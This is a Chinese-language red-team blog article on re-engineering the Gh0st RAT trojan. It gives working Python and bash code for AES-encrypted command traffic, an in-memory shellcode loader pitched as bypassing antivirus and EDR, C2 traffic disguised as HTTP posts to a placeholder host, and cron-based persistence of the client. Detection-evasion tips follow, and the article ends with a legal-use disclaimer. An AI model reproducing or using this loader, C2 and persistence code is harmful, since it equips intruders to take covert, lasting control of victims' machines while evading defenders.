一、从一次真实渗透行动说起

某次红队评估任务中,一个目标公司内部的研发服务器成为了突破口。这个服务器运行着一款老旧的远程控制软件——Gh0st RAT。通过对它的协议进行逆向分析,我们发现了一些可利用的设计缺陷,同时也意识到,这款工具经过二次开发后还能发挥更大的潜力。

为此,我们决定将Gh0st RAT作为一个攻击载具进行深度改造,不仅优化了免杀能力,还增强了通信隐蔽性和持久化能力。本文将从攻击者视角出发,分享如何对Gh0st进行二次开发,并展示完整攻击链。

---

二、协议逆向与攻击原理

Gh0st RAT的基础架构

Gh0st RAT是一款老牌的远程控制工具,最初由中国的一些黑客社区开发。它使用自定义的二进制通信协议,支持键盘记录、屏幕捕获、文件管理等功能。默认情况下,Gh0st客户端程序通过TCP与控制端进行通信,其协议简单但高效。

通信流程如下:

  1. 控制端发送命令包,触发特定功能;
  2. 客户端返回执行结果;
  3. 数据流使用简单的XOR加密,几乎没有复杂性。

漏洞与可利用点

通过Wireshark抓包和IDA进行逆向分析,我们发现如下问题可以被利用:

  1. 协议无认证:控制端无需任何凭证即可发送命令,容易被劫持。
  2. 硬编码加密密钥:通信加密使用固定的XOR密钥,简单破解后可伪造通信包。
  3. 模块化设计:Gh0st的功能模块易扩展,比如植入持久化后门或隐匿流量。

如果将这些特点结合定制化需求,便能开发出一款更强大的远控工具。

---

三、二次开发:Payload构造的艺术

为了让Gh0st更加适配现代渗透场景,我们改造了以下功能模块:

  1. 通信加密增强:替换原有XOR加密为AES-256;
  2. 免杀优化:通过代码混淆和内存加载绕过EDR;
  3. 隐匿性提升:使用HTTP协议伪装正常流量;
  4. 功能扩展:新增文件捆绑和屏幕录制模块。

以下是主要开发步骤和代码实现:

Payload通信加密升级

目标:替换Gh0st原有的XOR加密方案,使其通信数据更隐蔽。

<pre><code class="language-python">from Crypto.Cipher import AES import base64

AES加密函数

def encrypt_aes(data, key): cipher = AES.new(key, AES.MODE_ECB) padded_data = data + &#039; &#039; * (16 - len(data) % 16) # 补齐数据块 encrypted = cipher.encrypt(padded_data.encode(&#039;utf-8&#039;)) return base64.b64encode(encrypted).decode(&#039;utf-8&#039;)

AES解密函数

def decrypt_aes(data, key): cipher = AES.new(key, AES.MODE_ECB) decrypted = cipher.decrypt(base64.b64decode(data)) return decrypted.decode(&#039;utf-8&#039;).strip()

测试加密通信

key = &quot;1234567812345678&quot; # 固定密钥(可动态生成) raw_payload = &quot;Gh0st_Command_Exec&quot; encrypted_payload = encrypt_aes(raw_payload, key) print(f&quot;加密后的数据:{encrypted_payload}&quot;) print(f&quot;解密后的数据:{decrypt_aes(encrypted_payload, key)}&quot;)</code></pre>

这段代码展示了如何利用AES对Payload进行加密处理,替换原有的简单XOR方案。

---

内存加载与免杀技术

目标:避免文件落地,直接在内存中加载Gh0st的核心逻辑。

我们使用Python结合Windows API实现一个简单的内存加载器,绕过杀软和EDR的检测。

<pre><code class="language-python">import ctypes

将Shellcode加载到内存并执行

def run_shellcode(shellcode): shellcode_buf = ctypes.create_string_buffer(shellcode) shellcode_ptr = ctypes.windll.kernel32.VirtualAlloc( None, len(shellcode), 0x3000, 0x40) ctypes.windll.kernel32.RtlMoveMemory(shellcode_ptr, shellcode_buf, len(shellcode)) thread_id = ctypes.c_ulong(0) ctypes.windll.kernel32.CreateThread(None, 0, shellcode_ptr, None, 0, ctypes.byref(thread_id)) ctypes.windll.kernel32.WaitForSingleObject(thread_id, -1)

示例Shellcode(可替换为Gh0st核心逻辑)

example_shellcode = b&quot;\x90\x90\x90\xC3&quot; # NOP + RET run_shellcode(example_shellcode)</code></pre>

此代码将恶意载荷直接注入内存,无需在磁盘上生成任何文件,极大降低了被检测的可能性。

---

四、隐匿流量:伪装成正常HTTP请求

现代网络环境中,异常TCP流量很容易被检测拦截。我们将Gh0st的通信改造为伪装HTTP协议,以隐藏其真实目的。

重构通信模块

<pre><code class="language-python">import requests

伪装HTTP流量

def send_payload_as_http(payload): url = &quot;http://target.com/controller&quot; headers = {&quot;User-Agent&quot;: &quot;Mozilla/5.0&quot;} data = {&quot;cmd&quot;: payload} response = requests.post(url, headers=headers, data=data) return response.status_code

示例伪装命令

fake_payload = &quot;Gh0st_Command_Exec&quot; status_code = send_payload_as_http(fake_payload) print(f&quot;伪装HTTP请求发送成功,状态码:{status_code}&quot;)</code></pre>

伪装后的流量可以绕过多数流量检测工具,同时也不容易引起管理员注意。

---

五、渗透中的持久化策略

为了增强Gh0st的攻击能力,我们可以加入持久化模块,例如通过计划任务定时启动:

Bash脚本:创建持久化任务

<pre><code class="language-bash">#!/bin/bash

创建计划任务

echo &quot;/5 * /usr/bin/python3 /tmp/gh0st_client.py&quot; &gt; /tmp/cronjob crontab /tmp/cronjob rm /tmp/cronjob echo &quot;计划任务已添加,每5分钟启动Gh0st客户端&quot;</code></pre>

此脚本会每隔5分钟执行Gh0st的客户端程序,确保其始终在线。

黑客示意图

---

六、检测与对抗:如何隐藏痕迹

虽然经过上述改造后,Gh0st的隐匿性大幅提升,但依然可能被某些高级安全工具检测。以下是进一步的对抗策略:

  1. 动态域名解析:避免使用固定IP,改用DDNS服务。
  2. 内存清理:定期清除恶意代码的内存痕迹。
  3. 流量分片:将大文件拆分为小块传输,降低流量异常性。

---

七、个人经验分享:二次开发的思路

二次开发的关键在于:

  1. 需求结合实战:不要盲目添加功能,以实际渗透场景为核心。
  2. 隐匿与免杀优先:安全工具越来越强,绕过检测是生存之道。
  3. 模块化设计:将功能拆分为独立模块,便于后续维护和扩展。

黑客示意图

Gh0st远控的二次开发让我们在多个渗透任务中取得关键突破。无论是流量隐匿还是免杀处理,这些细节都是红队行动成功的关键。

黑客示意图

---

声明:本文仅限合法授权的渗透测试活动,严禁用于非法用途!

黑客示意图